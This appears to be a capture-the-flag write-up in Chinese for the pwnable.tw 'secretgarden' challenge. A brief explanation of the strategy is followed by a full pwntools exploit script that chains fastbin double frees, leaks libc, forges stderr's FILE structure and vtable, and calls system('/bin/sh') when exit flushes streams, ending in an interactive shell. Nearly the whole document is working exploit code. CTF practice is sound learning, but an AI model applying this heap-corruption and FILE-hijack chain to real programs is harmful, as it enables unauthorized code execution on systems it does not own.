思路
我是做了3次double free其实不需要这么多次em,其实可以构造堆块重叠的但是我看可以直接并且远程也很稳定就用double free了,先打malloc_hook打不同(好像可以使用realloc_hook调栈)我的思路是将stderr的flag值写成/bin/sh,虚表写成堆地址然后布置好system在exit函数调用fllush函数的时候触发overflow调用就会调用system("/bin/sh"),shell很稳定不错嘻嘻
from pwn import *
#p=process("./secretgarden")
p=remote('chall.pwnable.tw',10203)
elf=ELF("./secretgarden")
libc=elf.libc
libc=ELF("./libc.so.6")
def menu(idx):
p.sendlineafter(": ",str(idx))
def add(size,name,colo):
menu(1)
p.sendlineafter(":",str(size))
p.sendafter(":",name)
p.sendlineafter(':',colo)
def show():
menu(2)
def delete(idx):
menu(3)
p.sendlineafter(":",str(idx))
def clean():
menu(4)
def ex():
menu(5)
context.terminal=['tmux','splitw','-h']
add(0x98,'doudou',"doudou")
add(0x18,"emem","emem")
delete(0)
add(0x18,'\x78','\x01')
#gdb.attach(p,'b *$rebase(0x0000F1D)')
show()
libcbase=u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')-libc.sym['__malloc_hook']-88-0x10
log.success("libcbase: "+hex(libcbase))
malloc_hook=libcbase+libc.sym['__malloc_hook']
one=libcbase+0x45226
system=libcbase+libc.sym['system']
add(0x68,"doudou",'dodou')#3
add(0x68,'doudou2','doudou')#4
delete(3)
delete(4)
delete(3)
IO_list_all=libcbase+libc.sym['_IO_list_all']
bin_sh=libcbase+libc.search("/bin/sh").next()
add(0x68,p64(IO_list_all-0x28+5),'dd')
add(0x68,'dd','dd')
add(0x68,'dd','dd')
payload='\x00'*19+p64(libcbase+libc.sym['_IO_2_1_stderr_'])+p64(0)*3+"/bin/sh\x00"+p64(0)*2+p64(0)*2+p64(0x71)+p64(0)
add(0x68,payload,"dd")
IO_stderr=libcbase+libc.sym['_IO_2_1_stderr_']
delete(3)
delete(4)
delete(3)
add(0x68,p64(IO_stderr+0x20),'dd')
add(0x68,'m','m')
add(0x68,'a','a')
payload='\x00'*0x40+p64(0)+p64(0x71)
add(0x68,payload,'c')
IO_str_jump=libcbase+0x3c37a0
#payload='\x00'*0x58+p64(heap)
delete(3)
delete(4)
show()
p.recvuntil("Name of the flower[10] :")
heap=u64(p.recv(6)+"\x00\x00")+0xc0
log.success("heap: "+hex(heap))
delete(3)
#libc=ELF("./libc.so.6")
add(0x68,p64(IO_stderr+0x70),'a')
add(0x68,p64(0)*3+p64(libcbase+libc.sym['system']),'b')
add(0x68,'c','c')
payload='\x00'*0x58+p64(heap-0x10)
add(0x68,payload,'b')
log.success("libcbase: "+hex(libcbase))
ex()
p.interactive()